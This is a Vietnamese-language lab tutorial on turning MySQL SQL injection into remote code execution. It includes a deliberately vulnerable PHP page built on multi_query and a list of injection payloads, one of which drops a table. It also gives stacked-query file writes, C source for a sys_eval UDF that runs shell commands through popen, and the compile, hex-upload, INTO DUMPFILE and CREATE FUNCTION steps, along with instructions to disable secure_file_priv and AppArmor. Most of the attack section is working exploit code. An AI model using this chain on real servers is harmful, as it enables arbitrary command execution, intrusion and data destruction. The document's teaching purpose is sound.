# SQL injection to RCE in MYSQL
https://medium.com/@0x3adly/from-sql-injection-to-rce-leveraging-vulnerability-for-maximum-impact-2fb356907eed
https://github.com/koparmalbaris/MySQL-UDF-Exploitation?tab=readme-ov-file
**yêu cầu:** Ubuntu 16.04, với Apache phiên bản 2.4 và MySQL phiên bản 5.7, nếu dùng các bản cao hơn thì phải đáp ứng yêu cầu sau:
* FILE privilege: User MySQL phải có quyền FILE để đọc/ghi file hệ thống qua các lệnh như LOAD_FILE hoặc INTO DUMPFILE. Quyền này cho phép dump file vào plugin directory.
* secure_file_priv: Biến này phải là '' để cho phép ghi file vào bất kỳ đâu, bao gồm plugin dir. Nếu nó bị đặt giá trị (ví dụ: /var/lib/mysql-files/), exploit sẽ bị hạn chế. Kiểm tra bằng: SHOW VARIABLES LIKE 'secure_file_priv';
* Quyền directory: Plugin dir chỉ có thể bị ghi nếu tiến trình mysqld (user thực thi) có quyền ghi tới thư mục đó. Trong hầu hết cài đặt chuẩn, mysqld chạy dưới user mysql (không phải root), vì vậy việc ghi file vào /usr/lib/mysql/plugin/ phụ thuộc vào quyền file hệ thống của mysql user — không phải trực tiếp do quyền root của DB user. Nếu mysqld được cấu hình hoặc chạy dưới root (misconfiguration), rủi ro leo thang sẽ lớn hơn đáng kể
* Tắt protect thư mục, hoặc tắt mỗi cái PrivateTmp đi để cái apache và mysql nó dùng chung /tmp với ubuntu
* Quyền của các file được tải vào /tmp nên để 644 để cho other có quyền đọc
secure_file_priv là 1 cái chặn nên phải cấu hình nó "" nữa
thường thì nó toàn để 
nên ta phải tắt đi để có thể ghi file ở /var/www/html hoặc /usr/lib/mysql/plugin/ nói chung là để cho nó cấu hình không đúng
ta vào file
```
sudo nano /etc/mysql/mysql.conf.d/mysqld.cnf
```
thêm 1 dòng `secure_file_priv = ""` vào

```
sudo systemctl restart mysql
```

đây được rồi
để nó NULL thì LOAD_FILE() không chạy, nó chỉ chạy trong thư mục secure_file_priv chỉ định

trước tiên ta kết nối đến db
```
sudo mysql
```
Trong MySQL, Hàm do người dùng xác định (UDF) là các chức năng tùy chỉnh mà các nhà phát triển có thể tạo để mở rộng khả năng của cơ sở dữ liệu.
Được viết bằng các ngôn ngữ như C, UDF cho phép các nhà phát triển triển khai các chức năng chuyên biệt không có sẵn trong MySQL, làm cho chúng hữu ích cho các phép tính tùy chỉnh, chuyển đổi dữ liệu, v.v.
Tuy nhiên, Kẻ tấn công khai thác UDF để đạt được RCE bằng cách tận dụng khả năng chạy các lệnh cấp hệ thống thông qua UDF tùy chỉnh. Đây là cách họ sử dụng UDF để tạo lợi thế cho mình
trước tiên tạo 1 trang web đơn giản dính sqli, rồi kết nối đến mysql
để có thể dùng UDF cần phải có lỗ sqli stack queries để tải payload thành function , user kết nối đến server phải có quyền FILE

vào mysql tạo 1 bảng test
```
CREATE DATABASE test;
CREATE USER 'lab'@'localhost' IDENTIFIED BY 'lab123';
GRANT ALL PRIVILEGES ON test.* TO 'lab'@'localhost';
FLUSH PRIVILEGES;
USE test;
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(64),
email VARCHAR(120)
);
INSERT INTO users (username, email) VALUES ('admin','admin@example.com'),('alice','alice@example.com');
```
user kết nối đến dùng là root để có quyền FILE
code web thì để http://localhost/sqli_rce_mysql.php?
```
<?php
$dbHost = isset($_GET['host']) ? (string)$_GET['host'] : '127.0.0.1';
$dbUser = isset($_GET['user']) ? (string)$_GET['user'] : 'root';
$dbPass = isset($_GET['pass']) ? (string)$_GET['pass'] : 'pass';
$dbName = isset($_GET['db']) ? (string)$_GET['db'] : 'test';
$conn = @mysqli_connect($dbHost, $dbUser, $dbPass, $dbName);
if ($conn) {
@mysqli_set_charset($conn, 'utf8mb4');
}
$q = isset($_GET['q']) ? (string)$_GET['q'] : '';
$id = isset($_POST['id']) ? (string)$_POST['id'] : '';
// Entrypoint 1: LIKE search (safer but still vulnerable)
$sql = null;
$rows = [];
$error = null;
if ($conn && $q !== '') {
$sql = "SELECT id, username, email FROM users WHERE username LIKE '%$q%' OR email LIKE '%$q%';";
if ($conn->multi_query($sql)) {
do {
if ($result = $conn->store_result()) {
while ($row = $result->fetch_assoc()) {
$rows[] = $row;
}
$result->free();
}
} while ($conn->next_result());
} else {
$error = mysqli_error($conn);
}
}
// Entrypoint 2: Direct WHERE injection (extremely vulnerable)
$sql2 = null;
$rows2 = [];
$error2 = null;
if ($conn && $id !== '') {
$sql2 = "SELECT id, username, email FROM users WHERE id = $id";
if ($conn->multi_query($sql2)) {
do {
if ($result = $conn->store_result()) {
while ($row = $result->fetch_assoc()) {
$rows2[] = $row;
}
$result->free();
}
} while ($conn->next_result());
} else {
$error2 = mysqli_error($conn);
}
}
// File upload handler - store only to /tmp (not web-accessible, not executable)
$uploadInfo = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$uploadDir = '/tmp';
$maxBytes = 10 * 1024 * 1024; // 10MB
$err = null;
if (!is_dir($uploadDir)) {
if (!@mkdir($uploadDir, 0700, true)) {
$err = 'Thư mục đích không tồn tại và không thể tạo: ' . $uploadDir;
}
}
if (!$err) {
if (!isset($_FILES['file']['error']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
$err = 'Lỗi tải tệp (mã lỗi: ' . (isset($_FILES['file']['error']) ? (string)$_FILES['file']['error'] : 'unknown') . ').';
} elseif (!is_uploaded_file($_FILES['file']['tmp_name'])) {
$err = 'Tệp tải lên không hợp lệ.';
} elseif ((int)$_FILES['file']['size'] > $maxBytes) {
$err = 'Tệp quá lớn (tối đa 10MB).';
}
}
if (!$err) {
$originalName = (string)$_FILES['file']['name'];
$baseName = basename($originalName);
$sanitizedBase = preg_replace('/[^A-Za-z0-9._-]/', '_', $baseName);
$ext = pathinfo($sanitizedBase, PATHINFO_EXTENSION);
try {
$randomPart = bin2hex(random_bytes(8));
} catch (Exception $_) {
$randomPart = (string)time();
}
$finalName = $ext !== '' ? ($randomPart . '.' . $ext) : $randomPart;
$destPath = rtrim($uploadDir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $finalName;
if (@move_uploaded_file($_FILES['file']['tmp_name'], $destPath)) {
@chmod($destPath, 0600);
$uploadInfo = [
'ok' => true,
'msg' => 'Tải tệp thành công.',
'path' => $destPath,
'orig' => $baseName,
];
} else {
$uploadInfo = [ 'ok' => false, 'msg' => 'Không thể lưu tệp vào /tmp.' ];
}
}
if ($err) {
$uploadInfo = [ 'ok' => false, 'msg' => $err ];
}
}
?>
<!doctype html>
<html lang="vi">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>SQLi Demo (MySQL)</title>
<style>
body { font-family: system-ui, -apple-system, Segoe UI, Roboto, Arial, sans-serif; margin: 24px; }
.card { border: 1px solid #e5e7eb; border-radius: 10px; padding: 16px; max-width: 880px; }
.row { display: flex; gap: 12px; flex-wrap: wrap; margin-bottom: 12px; }
label { font-size: 12px; color: #374151; display: block; margin-bottom: 4px; }
input[type="text"], input[type="password"] { padding: 8px 10px; border: 1px solid #cbd5e1; border-radius: 8px; min-width: 220px; }
button { padding: 8px 14px; border: 0; background: #111827; color: #fff; border-radius: 8px; cursor: pointer; }
.muted { color: #6b7280; font-size: 12px; }
.status { margin: 12px 0; padding: 10px 12px; border-radius: 8px; }
.ok { background: #ecfdf5; color: #065f46; border: 1px solid #a7f3d0; }
.bad { background: #fef2f2; color: #991b1b; border: 1px solid #fecaca; }
table { border-collapse: collapse; width: 100%; margin-top: 12px; }
th, td { border: 1px solid #e5e7eb; padding: 8px; text-align: left; font-size: 14px; }
th { background: #f9fafb; }
code { background: #f3f4f6; padding: 2px 6px; border-radius: 6px; }
</style>
</head>
<body>
<div class="card">
<h2>SQLi Demo (MySQL)</h2>
<p class="muted">Trang mẫu kết nối MySQL và có 1 chức năng <strong>cố ý</strong> bị SQL Injection để thử nghiệm.</p>
<form method="post" class="row" autocomplete="off">
<div>
<label>Host</label>
<input type="text" name="host" value="<?php echo htmlspecialchars($dbHost, ENT_QUOTES); ?>" />
</div>
<div>
<label>User</label>
<input type="text" name="user" value="<?php echo htmlspecialchars($dbUser, ENT_QUOTES); ?>" />
</div>
<div>
<label>Pass</label>
<input type="password" name="pass" value="<?php echo htmlspecialchars($dbPass, ENT_QUOTES); ?>" />
</div>
<div>
<label>DB</label>
<input type="text" name="db" value="<?php echo htmlspecialchars($dbName, ENT_QUOTES); ?>" />
</div>
<div style="flex-basis: 100%"></div>
<div style="flex: 1 1 100%">
<label>Tìm người dùng theo tên/email (vulnerable param: q)</label>
<input style="min-width: 360px; width: 100%" type="text" name="q" placeholder="vd: admin hoặc payload như a' OR '1'='1" value="<?php echo htmlspecialchars($q, ENT_QUOTES); ?>" />
</div>
<div>
<label> </label>
<button type="submit">Tìm</button>
</div>
</form>
<form method="post" class="row" autocomplete="off">
<div style="flex: 1 1 100%">
<label>Tìm người dùng theo ID (EXTREMELY vulnerable param: id)</label>
<input style="min-width: 360px; width: 100%" type="text" name="id" placeholder="vd: 1 hoặc payload như 1 OR 1=1" value="<?php echo htmlspecialchars($id, ENT_QUOTES); ?>" />
</div>
<div>
<label> </label>
<button type="submit">Tìm theo ID</button>
</div>
</form>
<form method="post" class="row" enctype="multipart/form-data" autocomplete="off">
<div style="flex: 1 1 100%">
<label>Tải tệp lên (chỉ lưu vào /tmp, không truy cập/thực thi)</label>
<input style="min-width: 360px; width: 100%" type="file" name="file" required />
</div>
<div>
<label> </label>
<button type="submit">Upload</button>
</div>
</form>
<?php if ($uploadInfo !== null): ?>
<div class="status <?php echo $uploadInfo['ok'] ? 'ok' : 'bad'; ?>">
<?php echo htmlspecialchars((string)$uploadInfo['msg'], ENT_QUOTES); ?>
<?php if (!empty($uploadInfo['ok'])): ?>
<div class="muted">Tên gốc: <code><?php echo htmlspecialchars((string)$uploadInfo['orig'], ENT_QUOTES); ?></code> • Đã lưu tại: <code><?php echo htmlspecialchars((string)$uploadInfo['path'], ENT_QUOTES); ?></code></div>
<?php endif; ?>
</div>
<?php endif; ?>
<?php if (!$conn): ?>
<div class="status bad">Không kết nối được MySQL: <code><?php echo htmlspecialchars(mysqli_connect_error(), ENT_QUOTES); ?></code></div>
<?php else: ?>
<div class="status ok">Đã kết nối MySQL: <code><?php echo htmlspecialchars($dbHost . ' / ' . $dbName, ENT_QUOTES); ?></code></div>
<?php endif; ?>
<?php if ($sql !== null): ?>
<p class="muted">Câu lệnh SQL (LIKE search): <code><?php echo htmlspecialchars($sql, ENT_QUOTES); ?></code></p>
<?php endif; ?>
<?php if ($sql2 !== null): ?>
<p class="muted">Câu lệnh SQL (ID search - EXTREMELY vulnerable): <code><?php echo htmlspecialchars($sql2, ENT_QUOTES); ?></code></p>
<?php endif; ?>
<?php if ($error): ?>
<div class="status bad">Lỗi truy vấn LIKE: <code><?php echo htmlspecialchars($error, ENT_QUOTES); ?></code></div>
<?php endif; ?>
<?php if ($error2): ?>
<div class="status bad">Lỗi truy vấn ID: <code><?php echo htmlspecialchars($error2, ENT_QUOTES); ?></code></div>
<?php endif; ?>
<?php if ($rows): ?>
<h3>Kết quả tìm kiếm theo tên/email:</h3>
<table>
<thead>
<tr><th>ID</th><th>Username</th><th>Email</th></tr>
</thead>
<tbody>
<?php foreach ($rows as $r): ?>
<tr>
<td><?php echo htmlspecialchars((string)$r['id'], ENT_QUOTES); ?></td>
<td><?php echo htmlspecialchars((string)$r['username'], ENT_QUOTES); ?></td>
<td><?php echo htmlspecialchars((string)$r['email'], ENT_QUOTES); ?></td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php elseif ($conn && $q !== '' && !$error): ?>
<div class="status ok">Không có kết quả tìm kiếm theo tên/email.</div>
<?php endif; ?>
<?php if ($rows2): ?>
<h3>Kết quả tìm kiếm theo ID:</h3>
<table>
<thead>
<tr><th>ID</th><th>Username</th><th>Email</th></tr>
</thead>
<tbody>
<?php foreach ($rows2 as $r): ?>
<tr>
<td><?php echo htmlspecialchars((string)$r['id'], ENT_QUOTES); ?></td>
<td><?php echo htmlspecialchars((string)$r['username'], ENT_QUOTES); ?></td>
<td><?php echo htmlspecialchars((string)$r['email'], ENT_QUOTES); ?></td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php elseif ($conn && $id !== '' && !$error2): ?>
<div class="status ok">Không có kết quả tìm kiếm theo ID.</div>
<?php endif; ?>
<p class="muted">Gợi ý: tạo bảng mẫu
<code>users(id INT PRIMARY KEY AUTO_INCREMENT, username VARCHAR(64), email VARCHAR(120))</code>
và chèn vài bản ghi để thử.
</p>
<p class="muted">
<strong>Payloads để thử:</strong><br>
• LIKE search: <code>a' OR '1'='1</code><br>
• ID search: <code>1 OR 1=1</code>, <code>1 UNION SELECT 1,2,3</code>, <code>1; DROP TABLE users; --</code>
</p>
</div>
</body>
</html>
```
root này đang để root@localhost có FILE, SUPER, CREATE USER, INSTALL, EXECUTE, EVENT, TRIGGER, CREATE ROUTINE, v.v. — quyền toàn diện trên tất cả DB
giờ ta thử payload stack queries
```
1; SELECT 0 AS id, CURRENT_USER() AS username, '' AS email; --
```

```
1; SELECT 'Hello world' INTO OUTFILE '/var/lib/mysql-files/hello.txt'; --
```

ta đã ghi được file nhờ payload rồi, giờ bắt đầu tạo UDF
tạo một shared library (.so trên Linux, .dll trên Windows) viết bằng C để định nghĩa một hàm mới sys_eval có thể gọi lệnh hệ thống từ MySQL. Hàm sys_eval nhận đối số từ SQL
```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <mysql/mysql.h>
#define MAX_INITIAL 8192
#define MAX_READ_CHUNK 4096
#define MAX_TOTAL_SIZE 65536
bool sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
if (!args) {
strncpy(message, "sys_eval: args NULL", MYSQL_ERRMSG_SIZE);
return true; /* return true means error for old API, but with bool we return false on success */
}
if (args->arg_count != 1) {
strncpy(message, "sys_eval: requires 1 argument", MYSQL_ERRMSG_SIZE);
return true;
}
if (args->arg_type[0] != STRING_RESULT) {
strncpy(message, "sys_eval: arg must be string", MYSQL_ERRMSG_SIZE);
return true;
}
initid->ptr = NULL;
return false; /* success -> return 0 / false */
}
void sys_eval_deinit(UDF_INIT *initid) {
if (initid && initid->ptr) {
free(initid->ptr);
initid->ptr = NULL;
}
}
/* Return string result */
char *sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
unsigned long *length, char *is_null, char *error)
{
if (!args || !args->args || !args->args[0]) {
*is_null = 1;
return NULL;
}
FILE *fp = popen(args->args[0], "r");
if (!fp) {
*is_null = 1;
return NULL;
}
size_t cap = MAX_INITIAL;
size_t used = 0;
char *buf = malloc(cap);
if (!buf) {
pclose(fp);
*is_null = 1;
return NULL;
}
char tmp[MAX_READ_CHUNK];
while (fgets(tmp, sizeof(tmp), fp) != NULL) {
size_t n = strlen(tmp);
if (used + n + 1 > cap) {
size_t newcap = cap * 2;
if (newcap > MAX_TOTAL_SIZE) newcap = cap + MAX_READ_CHUNK;
if (newcap > MAX_TOTAL_SIZE) newcap = MAX_TOTAL_SIZE;
if (used + n + 1 > newcap) {
size_t can_copy = (newcap - used - 1);
if (can_copy > 0) {
memcpy(buf + used, tmp, can_copy);
used += can_copy;
}
break;
}
char *tmpbuf = realloc(buf, newcap);
if (!tmpbuf) break;
buf = tmpbuf;
cap = newcap;
}
memcpy(buf + used, tmp, n);
used += n;
if (used >= MAX_TOTAL_SIZE) break;
}
pclose(fp);
while (used > 0 && (buf[used-1] == '\n' || buf[used-1] == '\r')) used--;
buf[used] = '\0';
if (initid->ptr) free(initid->ptr);
initid->ptr = buf;
*length = used;
return buf;
}
```
đoạn này 1 là gửi nguyên code c lên và compile ở mysql server hoặc compile sẵn để gửi lên
biên dịch nó thành shared library file udf.so
```
gcc -shared -fPIC -o lib_mysqludf_sys_64.so udf.c $(mysql_config --cflags) $(mysql_config --libs)
```
giờ ta xem nó đang là bản mysql nào, chạy ở đâu
```
select @@version_compile_os AS id, @@version_compile_machine AS username,'' AS
```

tìm đường dẫn plug_in này
```
1; select @@plugin_dir AS id, @@version_compile_machine AS username,' ' AS email; --
```

Toàn bộ chuỗi tấn công UDF này phụ thuộc vào việc kẻ tấn công có thể vượt qua hai rào cản lớn:
Rào cản SQL (secure_file_priv): Vô hiệu hóa biến này (thành "") để cho phép MySQL ghi tệp ra bên ngoài. .
Rào cản Hệ điều hành (Quyền ghi): Có khả năng ghi tệp vào thư mục plugin.
sudo chown mysql:mysql /usr/lib/mysql/plugin
sudo chmod 755 /usr/lib/mysql/plugin
sudo aa-complain /usr/sbin/mysqld
sudo aa-disable /usr/sbin/mysqld
quyền file trong/tmp phải là 644
```
sudo systemctl restart apache2
nautilus admin:///var/www/html
```
chuyển cái file .so thành hexa để tí gửi lên
```
xxd -p lib_mysqludf_sys_64.so | tr -d '\n' > ~/Desktop/output.hex
```
chú ý k đóng ngoặc đoạn dưới, đoạn 0x là để mysql nó biết là file hexa để nó chuyển thành binary
```
1; SELECT 0x cho cái hexa của file .so vào đây INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so'; --
```

GET dài quá lỗi, đổi id thành dùng POST

đây nó được tạo ra rồi

dưới đây hơi khác tên file .so so với ảnh vì đổi gửi nhiều lần nên hơi đổi thôi
```
1;create function sys_eval returns integer soname 'lib_mysqludf_sys_64.so';--
```

```
1;SELECT 0 AS id,sys_eval('whoami') AS username,'' AS email;--
```
